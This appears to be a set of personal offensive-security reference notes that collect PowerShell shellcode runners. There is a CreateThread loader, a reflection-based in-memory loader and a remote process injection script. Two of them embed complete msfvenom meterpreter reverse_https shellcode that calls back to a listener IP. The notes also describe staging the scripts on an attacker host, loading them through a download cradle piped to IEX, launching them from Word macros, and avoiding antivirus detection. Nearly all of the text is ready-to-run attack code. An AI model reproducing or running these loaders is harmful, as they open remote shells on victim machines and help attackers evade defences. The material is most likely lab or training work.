Backlink: reference-notes-readme

PS Shell Scripts

The following resources should be staged on the attacker host machine, then sourced into memory with a PS download cradle piped to IEX.

CreateThread

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@

Add-Type $Kernel32

# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.49.246 LPORT=443 EXITFUNC=thread -f ps1
[Byte[]] $buf = 0xfc,0xe8,0x8f,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x31,0xff,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0x49,0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x1,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x1,0xd0,0x50,0x8b,0x58,0x20,0x8b,0x48,0x18,0x1,0xd3,0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xc0,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf4,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,0x68,0x6e,0x65,0x74,0x0,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0xe8,0x4f,0x0,0x0,0x0,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x31,0x30,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x36,0x34,0x3b,0x20,0x78,0x36,0x34,0x3b,0x20,0x72,0x76,0x3a,0x39,0x37,0x2e,0x30,0x29,0x20,0x47,0x65,0x63,0x6b,0x6f,0x2f,0x32,0x30,0x31,0x30,0x30,0x31,0x30,0x31,0x20,0x46,0x69,0x72,0x65,0x66,0x6f,0x78,0x2f,0x39,0x37,0x2e,0x30,0x0,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x3,0x53,0x53,0x68,0xbb,0x1,0x0,0x0,0xe8,0xe9,0x0,0x0,0x0,0x2f,0x30,0x6c,0x79,0x6f,0x51,0x6e,0x6f,0x59,0x51,0x5a,0x45,0x6a,0x38,0x53,0x4c,0x77,0x51,0x61,0x59,0x54,0x58,0x77,0x72,0x6f,0x64,0x4e,0x34,0x68,0x6f,0x44,0x6f,0x41,0x74,0x6f,0x67,0x2d,0x6b,0x38,0x74,0x6a,0x55,0x63,0x6b,0x56,0x58,0x36,0x63,0x52,0x50,0x7a,0x61,0x45,0x4e,0x7a,0x37,0x59,0x47,0x6c,0x33,0x6a,0x44,0x65,0x62,0x4d,0x65,0x75,0x49,0x67,0x68,0x33,0x67,0x57,0x37,0x53,0x58,0x31,0x4d,0x55,0x2d,0x5f,0x62,0x6d,0x4e,0x2d,0x69,0x34,0x64,0x56,0x0,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x0,0x32,0xe8,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0xa,0x5f,0x68,0x80,0x33,0x0,0x0,0x89,0xe0,0x6a,0x4,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x14,0x68,0x88,0x13,0x0,0x0,0x68,0x44,0xf0,0x35,0xe0,0xff,0xd5,0x4f,0x75,0xcd,0xe8,0x4b,0x0,0x0,0x0,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x68,0x0,0x0,0x40,0x0,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x0,0x20,0x0,0x0,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcf,0x8b,0x7,0x1,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x6b,0xff,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,0x2e,0x32,0x34,0x36,0x0,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x53,0xff,0xd5

$size = $buf.Length

[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)

$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);

[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

In the above code, the call to WaitForSingleObject is made to make sure that the thread stays open forever, at least until we exit our shell. The Add-Type method usually flags AV.

Reflection Shellcode Runner

function LookupFunc {

        Param ($moduleName, $functionName)

        $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
        $tmp=@()
        $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
                return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {

    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')

    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')

        return $type.CreateType()
}

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x56,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0x8b,0x48,0x18,0x50,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x41,0x58,0x48,0x1,0xd0,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xf,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,0x2e,0x32,0x34,0x34,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x65,0x0,0x0,0x0,0x2f,0x6b,0x33,0x41,0x6a,0x72,0x4f,0x43,0x5a,0x6c,0x61,0x74,0x41,0x32,0x30,0x48,0x5a,0x49,0x6f,0x4f,0x42,0x50,0x67,0x7a,0x67,0x4a,0x59,0x7a,0x53,0x4a,0x6d,0x50,0x4e,0x56,0x79,0x73,0x6c,0x6a,0x79,0x4e,0x76,0x44,0x6a,0x70,0x6e,0x43,0x4d,0x53,0x61,0x37,0x4a,0x43,0x45,0x47,0x35,0x72,0x77,0x6a,0x5f,0x6a,0x39,0x39,0x2d,0x64,0x35,0x31,0x76,0x7a,0x31,0x31,0x5f,0x75,0x63,0x48,0x71,0x4c,0x63,0x79,0x4b,0x70,0x6c,0x38,0x67,0x4a,0x77,0x5a,0x65,0x71,0x7a,0x57,0x6c,0x31,0x77,0x47,0x46,0x70,0x33,0x6b,0x5a,0x5f,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5


[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

The code above executes completely in memory, nothing is written to disk and can be completely executed remotely from Kali using a Word macro etc.

Powershell Process Injection

function LookupFunc {
    Param ($moduleName, $functionName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')

    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}

    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {                                                                                  

    Param (                                                                                                 
      [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
      [Parameter(Position = 1)] [Type] $delType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.                                                                     
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
     [System.Reflection.Emit.AssemblyBuilderAccess]::Run).                           
       DefineDynamicModule('InMemoryModule', $false).                                                       
       DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
       [System.MulticastDelegate])                                                                          

    $type.                                      
      DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
        SetImplementationFlags('Runtime, Managed')                                                          

    $type.             
      DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
        SetImplementationFlags('Runtime, Managed')

    return $type.CreateType()                                                                               
}

# Opens a new process, stores pid's with matching name as array. we can reference last item with [-1]
$processName = "notepad"
Start-Process -FilePath "C:\Windows\SysWOW64\notepad.exe" -WindowStyle Hidden
$processId = (Get-Process -Name $processName).Id

# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.49.205 LPORT=443 EXITFUNC=thread -f powershell
[Byte[]] $buf = 0xfc,...,0xff,0xd5

# opens handle to process being injected
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
   (LookupFunc kernel32.dll OpenProcess),
   (getDelegateType @([UInt32], [bool], [int]) ([IntPtr]))).
     Invoke(0x001F0FFF, $false, $processId[-1])


# reserves mem for shellcode
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
   (LookupFunc kernel32.dll VirtualAllocEx),
   (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).
     Invoke($hProcess, [IntPtr]::Zero, 0x1000, 0x3000, 0x40)

# write shellcode into remote memory (instead of copy into local process memory)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
   (LookupFunc kernel32.dll WriteProcessMemory),
   (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).
     Invoke($hProcess, $lpMem, $buf, $buf.length, [Ref] 0) | Out-Null 

# creates remote thread
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
   (LookupFunc kernel32.dll CreateRemoteThread),
   (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).
     Invoke($hProcess, [IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)

The above code will allow shellcode to be injected into remote process.